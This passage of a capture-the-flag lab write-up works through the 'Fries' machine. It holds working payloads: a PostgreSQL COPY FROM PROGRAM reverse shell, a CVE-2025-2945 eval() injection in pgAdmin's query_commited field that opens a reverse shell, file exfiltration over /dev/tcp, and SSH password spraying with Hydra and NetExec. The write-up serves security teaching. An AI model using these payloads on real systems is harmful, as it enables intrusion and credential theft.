<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7e9061af-95f8-4f77-b3f5-1d36156f1341.png" alt="" style="display:block;margin:0 auto" />

<h2>Enumerating the PgAdmin Web Interface</h2>
<ul>
<li>The README revealed another application hosted at <code>http://db-mgmt05.fries.htb</code></li>
<li>Navigating to this hostname presents a <code>PgAdmin 4</code> login page.</li>
<li>PgAdmin is a web-based administration and management interface for PostgreSQL databases. It provides functionality for managing database servers, browsing databases, executing SQL queries and administering database objects.</li>
</ul>
<h3>Authenticating to PgAdmin</h3>
<ul>
<li>The login page presents an opportunity to test the previously discovered assumed-breach credentials.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/a479f232-e9b0-4ee8-a525-fe6b14fd7970.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The credentials work again!</li>
<li>This confirms that the same credentials are accepted by both Gitea and PgAdmin.</li>
<li>The successful authentication is particularly useful because PgAdmin provides access to database administration functionality that was not directly available through the public-facing restaurant website.</li>
</ul>
<blockquote>
<p>Never underestimate credential reuse. Organizations frequently enforce password policies but fail to prevent employees from reusing the same credentials across multiple services. One compromised account can quickly become a foothold into several systems.</p>
</blockquote>
<h3>Accessing the Database Server</h3>
<ul>
<li>After signing in, the PgAdmin interface provides a <strong>Servers</strong> section.</li>
<li>Expanding the server entry prompts for a password before allowing access to the PostgreSQL instance.</li>
<li>Fortunately, the initial Gitea commit already exposed the database connection string and entering the exposed password successfully establishes access to the PostgreSQL server.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/4c5a700b-6344-4b24-bf2e-06018fce16b7.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Supplying the password <code>PsqLR00tpaSS11</code> successfully unlocks the PostgreSQL server.</li>
</ul>
<h3>Enumerating Available Databases</h3>
<ul>
<li>With full access established, we can now enumerate the available databases.</li>
<li>The server contains three databases:<ul>
<li><code>gitea</code>: Associated with the Gitea application.</li>
<li><code>postgres</code>: The default PostgreSQL maintenance database.</li>
<li><code>ps_db</code>: The application database identified in the exposed connection string.</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/34ce4843-6d5d-4388-b94e-b6d39b286aab.png" alt="" style="display:block;margin:0 auto" />

<h4>Updating our Credentials</h4>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/89781630-9755-4c2d-8b37-72d1044dd830.png" alt="" style="display:block;margin:0 auto" />

<h3>Reviewing Database Contents</h3>
<p>The <code>gitea</code> database contains user records, including:</p>
<ul>
<li><code>administrator</code></li>
<li><code>dale</code></li>
</ul>
<p>Querying the user table:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/c51f748e-6614-4fbc-8f60-ecfebc27077e.png" alt="" style="display:block;margin:0 auto" />

<p>Obtaining Credentials:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7c2f32b8-719c-45be-830c-88aa5e5b09fe.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Both accounts contain hashed passwords. Although these hashes may prove useful later, there is no immediate need to attempt cracking them.</li>
<li>These values are recorded for potential future analysis, although their exact format and usability still need to be established.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/5d3433fa-fa38-4074-8dd0-105446699fd7.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>At this stage, attention shifts towards the PgAdmin application itself.</li>
<li>The presence of a web-based database administration interface introduces another possible avenue for further access</li>
</ul>
<h3>Identifying the PgAdmin Version</h3>
<ul>
<li>Before investigating potential vulnerabilities, the exact PgAdmin version is identified.</li>
<li>Within the application, navigating to <code>Help</code> → <code>About pgAdmin 4</code> reveals the installed version as <code>pgAdmin 4 v9.1</code>.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/a098d459-9578-4eae-96d5-0d01f42f7589.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The version is recorded for further research.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/4f079384-4d9d-45a3-96dc-2d62a5275606.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This helps determine whether publicly documented vulnerabilities or known application weaknesses may apply to the deployed release.</li>
</ul>
<h3>Investigating PgAdmin Query Tool Command Execution</h3>
<ul>
<li>Further investigation focuses on the PgAdmin Query Tool.</li>
<li>The Query Tool provides an interface for executing SQL statements against the connected PostgreSQL server.</li>
<li>One interesting PostgreSQL capability is the <code>COPY</code> command, which allows data to be imported from or exported to files.</li>
<li>Under certain conditions, PostgreSQL’s <code>COPY … PROGRAM</code> functionality can execute operating-system commands through a server-side process:</li>
</ul>
<pre><code class="language-sql">CREATE TEMP TABLE shell(command text);  
COPY shell(command) FROM PROGRAM 'bash -c "bash -i &gt;&amp; /dev/tcp/10.10.14.176/9001 0&gt;&amp;1"';
</code></pre>
<ul>
<li>This capability has security implications when an attacker can execute arbitrary SQL statements with sufficient database privileges.</li>
<li>In the observed environment, the <strong>Query Tool</strong> provides an opportunity to investigate this behavior.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/803d9ec9-ceab-4cba-9c9c-aa714404c942.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The <code>COPY</code> functionality is tested and command execution is successfully obtained.</li>
<li>This demonstrates that access to a database administration interface can have consequences beyond simply reading or modifying database records.</li>
<li>The effective impact depends on the PostgreSQL privileges of the connected role, the server configuration and the permissions of the operation-system account running the database service.</li>
</ul>
<h3>Inspecting the PostgreSQL Environment</h3>
<ul>
<li>After obtaining command execution, environment variables are inspected to understand the database container’s configuration:</li>
</ul>
<pre><code class="language-shell">env
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/453fd0c4-7093-4a1f-84ce-e614a2333833.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Among the returned values is the PostgreSQL password previously recovered from the Gitea repository.</li>
<li>The environment inspection does not reveal additional information beyond what has already been obtained from the exposed Git history.</li>
<li>The successful command execution also establishes an important distinction: access to PgAdmin’s Query Tool, combined with sufficient PostgreSQL privileges, can potentially cross the boundary between database administration and operating-system command execution.</li>
<li>The investigation has now progressed from a seemingly ordinary restaurant website to source code disclosure, database credential exposure and command execution through a PostgreSQL administration interface.</li>
</ul>
<h2>Exploiting PgAdmin— CVE-2025–2945</h2>
<ul>
<li>Rather than blindly probing for weaknesses, a more efficient approach is to identify the exact application version and determine whether any publicly documented vulnerabilities affect it.</li>
<li>Since we know the server is running <strong>PgAdmin 4 version 9.1</strong>, the next step is researching known vulnerabilities.</li>
<li>Searching the <strong>National Vulnerability Database (NVD)</strong> quickly reveals an interesting candidate <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-2945"><strong>CVE-2025–2945</strong></a>.</li>
<li>The vulnerability description states:</li>
</ul>
<blockquote>
<p>Remote Code Execution security vulnerability in pgAdmin 4 (Query Tool and Cloud Deployment modules). The vulnerability is associated with the 2 POST endpoints; <code>/sqleditor/query_tool/download</code>, where the <code>query_commited</code> parameter and<code>/cloud/deploy</code>endpoint, where the <code>high_availability</code> parameter is unsafely passed to the Python <code>eval()</code> function, allowing arbitrary code execution. This issue affects pgAdmin 4: before 9.2.</p>
</blockquote>
<ul>
<li>This immediately stands out because <code>eval()</code> should almost never process untrusted user input.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/690472c7-f8dc-47f8-b8e6-55d4a6793b95.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><code>CVE Details</code> description of the vulnerability <a href="https://www.cvedetails.com/cve/CVE-2025-2945/"><strong>CVE-2025-2945</strong></a>:</li>
</ul>
<blockquote>
<p>Remote Code Execution security vulnerability in pgAdmin 4 (Query Tool and Cloud Deployment modules). The vulnerability is associated with the 2 POST endpoints; <code>/sqleditor/query_tool/download</code>, where the <code>query_commited</code> parameter and <code>/cloud/deploy</code> endpoint, where the <code>high_availability</code> parameter is unsafely passed to the Python <code>eval()</code> function, allowing arbitrary code execution.</p>
</blockquote>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b82ee4cd-bbe9-4d1d-9488-53c9c0fff70e.png" alt="" style="display:block;margin:0 auto" />

<h3>CVE-2025–2945 — Remote Code Execution in pgAdmin 4</h3>
<ul>
<li>This vulnerability affects PgAdmin 4 versions earlier than 9.2 and allows remote code execution through two <strong>POST</strong> endpoints:<ul>
<li><code>/sqleditor/query_tool/download</code></li>
<li><code>/cloud/deploy</code></li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e75ad3f8-d639-450f-a19a-7f4fa2147e9d.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The vulnerability description identifies two parameters that are unsafely passed to Python’s <code>eval()</code> function:<ul>
<li><code>query_commited</code> in the Query Tool download endpoint.</li>
<li><code>high_availability</code> in the Cloud Deployment endpoint.</li>
</ul>
</li>
<li>Python’s <code>eval()</code> function evaluates a string as a Python expression. Passing untrusted user-controlled input to this function without proper validation can allow an attacker to execute arbitrary Python code within the application’s execution context.</li>
<li>This is a classic example of <code>code injection</code>, where externally controlled input is interpreted as executable code rather than ordinary data.</li>
</ul>
<h3>Understanding the Vulnerability</h3>
<ul>
<li>To understand how the vulnerability occurs, the <a href="https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c">official PgAdmin GitHub repository</a> is examined.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/5c429065-0ddc-4242-aa98-6905e0463935.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The vulnerable implementation contains the following code:</li>
</ul>
<pre><code class="language-python">high_availability = 'REGIONAL' if eval(args.high_availability) else 'ZONAL'
</code></pre>
<ul>
<li>Another affected code path contains:</li>
</ul>
<pre><code class="language-python">query_commited = (eval(value) if isinstance(value, str) else value)
</code></pre>
<ul>
<li>The second implementation is particularly interesting because it evaluates the supplied value whenever it is a string.</li>
<li>Instead of treating the parameter as ordinary application data, the application interprets it as a Python expression.</li>
<li>If an attacker can control this parameter through an HTTP request, arbitrary Python expressions can potentially be evaluated within the PgAdmin process.</li>
<li>The identified <code>PgAdmin version 9.1</code>, falls within the affected version range.</li>
</ul>
<h3>Intercepting the Vulnerable Request</h3>
<p>The exploitation will target the following endpoint:</p>
<pre><code class="language-python">/sqleditor/query_tool/download
</code></pre>
<ul>
<li>Since authentication to PgAdmin has already been established, the Query Tool can be accessed through any of the available databases.</li>
<li>The first step is to open the Query Tool and execute a simple SQL statement:</li>
</ul>
<pre><code class="language-sql">SELECT 1;
</code></pre>
<ul>
<li>This query simply returns the integer 1. It does not modify any database records and serves as a convenient way to generate output for the download functionality.</li>
<li>After executing the query, the <strong>Data Output</strong> tab appears below the Query Tool. The tab provides an option to download or save the query results (<strong>5</strong>).</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b2d43613-d7ed-4587-9c52-ea6ca9447dc3.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Before triggering the download, Burp Suite is configured to intercept the HTTP request.</li>
<li>Clicking the download option generates a POST request.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/58030028-1f2c-49ad-930b-32a8ec4282bf.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The request contains a JSON body and it is sent to the <strong>repeater</strong> for further enumeration:</li>
</ul>
<pre><code class="language-json">{"filename":"data-1786063576782.csv","query_commited":false}
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/c344831e-d7cf-45a7-8476-87693a1e5c4e.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The important parameter is <code>query_commited</code>.</li>
<li>As established from the vulnerable source code, this parameter is passed to Python’s <code>eval()</code> function.</li>
<li>Consequently, replacing its Boolean value with a Python expression provides an opportunity to test whether arbitrary code execution is possible.</li>
</ul>
<h3>Confirming Remote Code Execution</h3>
<ul>
<li>Before attempting to obtain a reverse shell, a relatively harmless proof of concept is used to confirm that the vulnerable parameter is evaluated:</li>
</ul>
<pre><code class="language-json">{"filename":"data-1786063576782.csv","query_commited":"__import__('os').system('sleep 2')"}
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/3cb99700-2ede-4666-b03f-7415d35498e2.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The command causes the server-side process to pause for approximately two seconds.</li>
<li>The modified request is forwarded and the expected delay is observed.</li>
<li>This confirms that the supplied Python expression is being evaluated on the server.</li>
</ul>
<blockquote>
<p>Whenever possible, start with non-destructive payloads before moving to more intrusive actions.</p>
</blockquote>
<h3>Obtaining a Reverse Shell</h3>
<ul>
<li>With remote code execution confirmed, the next objective is to establish an interactive connection back to the attacking machine.</li>
<li>The intercepted request is modified again, this time replacing the sleep command with a Bash reverse shell:</li>
</ul>
<pre><code class="language-json">{"filename":"data-1786063576782.csv","query_commited":"__import__('os').system('bash -c \"bash -i &gt;&amp; /dev/tcp/10.10.14.176/9001 0&gt;&amp;1\"')"}
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ebc1b84a-0436-414f-bc40-bb88c04af8af.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Before forwarding the modified request, a Netcat listener is started on the attacking machine:</li>
</ul>
<pre><code class="language-shell">nc -lnvp 9001
</code></pre>
<ul>
<li>Once the modified request is forwarded, the PgAdmin application executes the command and a reverse connection is received.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/3d8385bd-663e-491b-af88-6eb93ff43e84.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>An interactive shell is now available on the target</li>
</ul>
<h3>Upgrading the Shell</h3>
<ul>
<li>The initial reverse shell is functional, but it lacks some of the features expected from a proper terminal.</li>
<li>Python is checked to determine whether it is available:</li>
</ul>
<pre><code class="language-shell">which python
</code></pre>
<ul>
<li>It’s available and is used to spawn a pseudo-terminal:</li>
</ul>
<pre><code class="language-shell">python3 -c 'import pty;pty.spawn("/bin/bash")'
</code></pre>
<ul>
<li>The shell is then suspended using <code>Ctrl + z</code>.</li>
<li>On the attacking machine, terminal settings are adjusted:</li>
</ul>
<pre><code class="language-shell">stty raw -echo; fg
</code></pre>
<ul>
<li>Finally, the terminal type is configured:</li>
</ul>
<pre><code class="language-shell">export TERM=xterm
</code></pre>
<ul>
<li>This helps applications running within the shell recognize the terminal capabilities.</li>
</ul>
<h3>Enumerating the Compromised Environment</h3>
<ul>
<li>Running <code>whoami</code> identifies the current user as <code>pgadmin</code>.</li>
<li>This indicates that command execution is taking place within the PgAdmin application’s execution context.</li>
<li>The environment variables are also inspected:</li>
</ul>
<pre><code class="language-shell">env
</code></pre>
<ul>
<li>Unlike the previous PostgreSQL environment inspection, this time the output reveals another useful credential which exposes the default password configured for the PgAdmin application.</li>
<li>The password is recorded for subsequent authentication testing.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/4c0ac8fc-6645-470e-9d29-2378552b4639.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Additional basic enumeration is performed such as:<ul>
<li>Listing the contents of the current working directory.</li>
<li>Checking the current user.</li>
<li>Enumerating the groups associated with the current account.</li>
<li>Examining Network Interfaces.</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/86723105-62ef-44eb-893e-c8bb216c52a1.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Enumerating network interfaces is useful for understanding the environment in which PgAdmin is running, particularly because the application and PostgreSQL services appear to be deployed using Docker.</li>
</ul>
<h3>Extracting PgAdmin's Internal Database</h3>
<ul>
<li>Further enumeration focuses on PgAdmin’s local application data.</li>
<li>PgAdmin maintains an internal SQLite database containing application-related information, including user accounts, configuration data and other application metadata.</li>
<li>In this environment the database is located at <code>/var/lib/pgadmin/pgadmin4.db</code></li>
<li>Since the database may contain useful authentication and configuration information, it is transferred to the attacking machine for offline examination.</li>
<li>A Netcat listener is first started on the attacking machine:</li>
</ul>
<pre><code class="language-shell">nc -nlvp 9002 &gt; pgadmin4.db
</code></pre>
<ul>
<li>This listens on TCP port <code>9002</code> and redirects the received data into a local file name <code>pgadmin4.db</code></li>
<li>On the compromised machine, the database is transferred using Bash’s TCP redirection:</li>
</ul>
<pre><code class="language-shell">cat pgadmin4.db &gt; /dev/tcp/10.10.14.176/9002
</code></pre>
<ul>
<li>The command reads the SQLite database and sends it contents to the listening Netcat process.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/214cf177-3d98-47c5-bf54-825887b20cfa.png" alt="" style="display:block;margin:0 auto" />

<h3>Inspecting the SQLite Database</h3>
<ul>
<li>With the database successfully transferred, SQLite is used to inspect its contents:</li>
</ul>
<pre><code class="language-sql">sqlite3 pgadmin4.db .dump
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/6dedc5a9-0291-4b4b-bd01-83a627bcec85.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The resulting output contains substantial amount of information, including several sensitive application keys.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/4194da65-d2a0-4747-95b2-584267d9852c.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The database also contains encrypted password values and other application information.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/29b181f1-49a5-4859-a4e7-7bdf206f629e.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Although these values may be useful during deeper analysis, the immediate objective is to identify credentials that can provide access to another service.</li>
<li>The recovered values are documented, but the investigation moves towards testing the newly discovered PgAdmin password against the other exposed services.</li>
</ul>
<h2>Gaining SSH Access</h2>
<ul>
<li>At this stage, several usernames and passwords have been collected from different parts of the environment.</li>
<li>The available credentials are tested against SSH to determine whether any of them provide access to the underlying Linux environment.</li>
<li>Two tools are considered for this task: <code>Hydra</code> and <code>NetExec</code>.</li>
</ul>
<h3>Password Spraying with Hydra</h3>
<ul>
<li>Hydra is a network login brute-forcing tool that supports multiple authentication protocols, including SSH:</li>
</ul>
<pre><code class="language-shell">hydra -L users.txt -P passwords.txt  -f -V ssh://10.129.244.72
</code></pre>
<ul>
<li>After a short while, Hydra returns a successful authentication:</li>
</ul>
<pre><code class="language-shell">[22][ssh] host: 10.129.244.72   login: svc   password: Friesf00Ds2025!!  
1 of 1 target successfully completed, 1 valid password found
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/783b422e-75b4-4d5a-85f9-3962b0c00c0a.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This is an important development because the credentials recovered from the PgAdmin environment provide access to the SSH service exposed on <code>port 22</code>.</li>
</ul>
<h3>Password Spraying with NetExec</h3>
<ul>
<li>The same credential combination can be tested using <strong>NetExec</strong>:</li>
</ul>
<pre><code class="language-shell">nxc ssh DC01.fries.htb -u users.txt -p passwords.txt --ignore-pw-decoding
</code></pre>
<ul>
<li>The results confirm what Hydra already found:</li>
</ul>
<pre><code class="language-shell">SSH         10.129.244.72   22     DC01.fries.htb   [+] svc:Friesf00Ds2025!!  Linux - Shell access!
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9a547fae-3671-4958-9ae6-4d1e8228d14f.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>NetExec confirms that the <code>svc</code> account can authenticate successfully over SSH and obtain a shell access.</li>
<li>The result also reinforces an important observation: the same target IP exposes services associated with both <em>Windows Active Directory</em> and <em>Linux environment</em>.</li>
</ul>
<h3>Updating the Credentials Notes</h3>
<ul>
<li>The newly discovered SSH credentials are added to the credentials file.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/a11f27ea-c791-4112-9193-230384fee401.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>At this point, the investigation has progressed from an exposed Git repository to PgAdmin remote code execution and finally to valid SSH credentials.</li>
</ul>
<h2>Establishing an SSH Session</h2>
<ul>
<li>With valid credentials confirmed, we can now establish an interactive shell:</li>
</ul>
<pre><code class="language-shell">ssh svc@fries.htb
</code></pre>
<ul>
<li>Once connected, it’s always worth performing a few quick sanity checks:</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/0fc6718b-1a69-48e7-96e5-be959b7bcb6d.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The session is running as <code>svc</code>, with no additional supplementary groups listed. The <code>fries.htb</code> directory is also present in the user’s working directory, which is consistent with the web application discovered earlier.</li>
<li>Rather than immediately searching for files, it is useful to understand what services and processes are running on the host. Process enumeration can reveal infrastructure components that may not have been obvious during the initial network scan.</li>
</ul>
<h3>Enumerating Running Processes</h3>
<pre><code class="language-shell">ps -ef --forest
</code></pre>
<ul>
<li>Among the output are several NFS kernel processes.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f6f35f66-e4fa-4086-967d-b72c4b9f5c32.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The presence of multiple <code>nfsd</code> processes suggests that the host is running an NFS server. Network File System (NFS) allows directories on one machine to be exported and accessed by other machines over a network. Since shared directories can expose sensitive files or writable locations, this service deserves further investigation.</li>
<li>Another interesting process is the <code>Docker daemon</code>:</li>
</ul>
<pre><code class="language-shell">root         961       1  0 10:38 ?        00:00:08 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --authorization-plugin=authz-broker --tlsverify --tlscacert=/etc/docker/certs/ca.pem --tlscert=/etc/docker/certs/server-cert.pem --tlskey=/etc/docker/certs/server-key.pem -H=127.0.0.1:2376
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d81befd4-eee7-47ca-a282-994114132818.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>A few details stand out:<ul>
<li>Docker is running as <code>root</code>.</li>
<li>The daemon is configured with TLS verification.</li>
<li>It uses an authorization plugin named <code>authz-broker</code>.</li>
<li>It listens on <code>127.0.0.1:2376</code>, making the configured TCP endpoint local to the host.</li>
</ul>
</li>
<li>The Docker configuration is worth remembering, particularly because it references certificates under <code>/etc/docker/certs/</code>. These may become relevant when investigating how Docker access is controlled.</li>
<li>The process list also reveals several RPC-related services:</li>
</ul>
<pre><code class="language-shell">_rpc         561       1  0 Aug06 ?        00:00:00 /sbin/rpcbind -f -w  
systemd+     562       1  0 Aug06 ?        00:00:03 /lib/systemd/systemd-timesyncd  
root         568       1  0 Aug06 ?        00:00:00 /usr/sbin/blkmapd  
root         570       1  0 Aug06 ?        00:00:00 /usr/sbin/rpc.idmapd  
root         572       1  0 Aug06 ?        00:00:00 /usr/sbin/nfsdcld  
root         573       1  0 Aug06 ?        00:00:00 /usr/sbin/rpc.gssd
</code></pre>
<ul>
<li>The <code>rpcbind</code> service is particularly relevant because NFS relies on RPC services for certain operations, including mount discovery. With NFS and its supporting services confirmed, the next step is to identify which directories are exported.</li>
</ul>
<h3>Enumerating NFS Exports</h3>
<ul>
<li>The <code>showmount</code> utility can query an NFS server for information about its exports and mounted directories.</li>
<li>To display all remote mounts:</li>
</ul>
<pre><code class="language-shell">showmount -a
</code></pre>
<ul>
<li>To display the server’s exported filesystem list:</li>
</ul>
<pre><code class="language-shell">showmount -e
</code></pre>
<ul>
<li>To display directories that are currently mounted by clients:</li>
</ul>
<pre><code class="language-shell">showmount -d
</code></pre>
<ul>
<li>However, these commands do not return useful information when executed directly against the local session in this environment. The NFS configuration itself provides another avenue for investigation.</li>
<li>Fortunately, Linux stores the export configuration locally inside <code>/etc/exports</code></li>
</ul>
<pre><code class="language-shell">cat /etc/exports
</code></pre>
<ul>
<li>The output:</li>
</ul>
<pre><code class="language-shell">/srv/web.fries.htb *(rw,no_subtree_check,insecure)
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/97d95847-171a-46b0-aa70-313c7e3fce47.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The configuration reveals an NFS export at /<code>srv/web.fries.htb</code>.</li>
<li>The wildcard <code>*</code> indicates that the export is available to all client hosts, subject to the remaining export rules. The <code>rw</code> option allows read and write access, while <code>no_subtree_check</code> disables subtree checking. The <code>insecure</code> option permits client connections from non-privileged source ports.</li>
<li>An export being available to all clients does not automatically mean every file inside it is readable. Filesystem ownership, group membership and permissions still apply. That distinction becomes important during the next stage.</li>
</ul>
<blockquote>
<p>Misconfigured NFS exports are a recurring security issue. An export that grants read/write access to all clients can significantly increase an attacker’s opportunities, particularly when combined with weak permissions or incorrect UID/GID mappings.</p>
</blockquote>
<h3>Inspecting the Exported Directory</h3>
<ul>
<li>The exported directory can be inspected directly:</li>
</ul>
<pre><code class="language-shell">ls -la /srv/web.fries.htb
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/6544cc97-a39a-4b84-b5c5-2ba3e52a47e2.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The output reveals three directories with the structure below:<ul>
<li><code>certs (root:infra managers, 770)</code>: <em>Accessible</em> only to root and members of the <code>infra managers</code> group.</li>
<li><code>shared (root:root, 777)</code>: <em>Readable</em>, <em>writable</em> and <em>accessible</em> to everyone.</li>
<li><code>webroot (svc:svc, 740)</code>: <em>Restricted</em> to the owner and root.</li>
</ul>
</li>
<li>Attempting to list the <code>certificate</code> directory results in a permission error.</li>
<li>The <code>shared</code> directory is empty, while <code>webroot</code> is restricted by its permissions. The <code>certs</code> directory, however, is particularly interesting because it is owned by the <code>infra managers</code> group.</li>
<li>An attempt to find this group in <code>/etc/group</code> does not return a matching entry. This is not necessarily evidence that the group does not exist. In an Active Directory-integrated Linux environment, user and group information can be resolved dynamically through services such as <a href="https://sssd.io/docs/introduction.html"><strong>System Security Services Daemon</strong> (<strong>SSSD)</strong></a> rather than being stored directly in local files.</li>
<li>The <code>getent</code> utility provides a way to query the system’s configured identity sources.</li>
<li>This confirms that the group exists and contains three members:<ul>
<li><code>m.hannigan</code></li>
<li><code>d.cooper</code></li>
<li><code>d.wilson</code></li>
</ul>
</li>
<li>The group has a numeric GID of <code>59605603</code>. Since <code>d.cooper</code> is already known from the earlier Gitea access, checking this account’s identity is a reasonable next step.</li>
<li>The output confirms that <code>d.cooper</code> is a member of infra managers. More importantly, it provides the numeric UID and GID associated with the account:<ul>
<li><strong>UID</strong>: <code>59602614</code></li>
<li><strong>GID</strong>: <code>59600513</code></li>
</ul>
</li>
<li>Linux filesystem permissions are ultimately evaluated using numeric user and group IDs. This means that if a process runs with the corresponding <strong>UID</strong> and <strong>GID</strong>, it can be evaluated against the same ownership permissions, even if the account is not locally defined on the attacking machine.</li>
<li>This provides a possible way to access the restricted directory.</li>
</ul>
<h2>Accessing the NFS Export Through SSH Tunnelling</h2>
<ul>
<li>Although we have identified the NFS export, it is only accessible from the internal network.</li>
<li>SSH port forwarding provides a way to reach the service through the authenticated <code>svc</code> account.</li>
<li>The current SSH session is closed and re-established with two forwarding options:</li>
</ul>
<pre><code class="language-shell">ssh -L 2049:127.0.0.1:2049 -D 1080 svc@fries.htb
</code></pre>
<ul>
<li><code>-L 2049:127.0.0.1:2049</code> creates a local TCP forward from port <code>2049</code> on the attacking machine to port <code>2049</code> on the remote host’s loopback interface.</li>
<li><code>-D 1080</code> creates a local SOCKS proxy on port <code>1080</code>, allowing compatible tools to route traffic through the SSH connection.</li>
<li>The SOCKS proxy is used with <code>ProxyChains</code> to access services through the SSH tunnel.</li>
<li>First, the ProxyChains configuration is checked:</li>
</ul>
<pre><code class="language-shell">cat /etc/proxychains4.conf | grep -Ev '^#|^$'
</code></pre>
<ul>
<li>The ProxyChains configuration is straightforward:</li>
</ul>
<pre><code class="language-shell">strict_chain  
proxy_dns  
remote_dns_subnet 224  
tcp_read_time_out 15000  
tcp_connect_time_out 8000  
[ProxyList]  
socks5  127.0.0.1 1080
</code></pre>
<ul>
<li>The configuration uses a SOCKS5 proxy listening on <code>127.0.0.1:1080</code> which corresponds to the dynamic SSH forward.</li>
<li>The NFS export can now be enumerated through ProxyChains:</li>
</ul>
<pre><code class="language-shell">proxychains showmount -a 127.0.0.1 
</code></pre>
<ul>
<li>The exported list can also be queried:</li>
</ul>
<pre><code class="language-shell">proxychains showmount -e 127.0.0.1
</code></pre>
<ul>
<li>Finally, the mounted directories can be queried:</li>
</ul>
<pre><code class="language-shell">proxychains showmount -d 127.0.0.1
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/46c71243-6fac-4467-8b81-9e930bc70f9c.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The results confirm that the NFS export is reachable through the SSH connection.</li>
</ul>
<h3>Mounting the NFS Share Locally</h3>
<ul>
<li>With the export identified, it can be mounted on the attacking machine. A local mount point is created first:</li>
</ul>
<pre><code class="language-shell">mkdir mnt
</code></pre>
<ul>
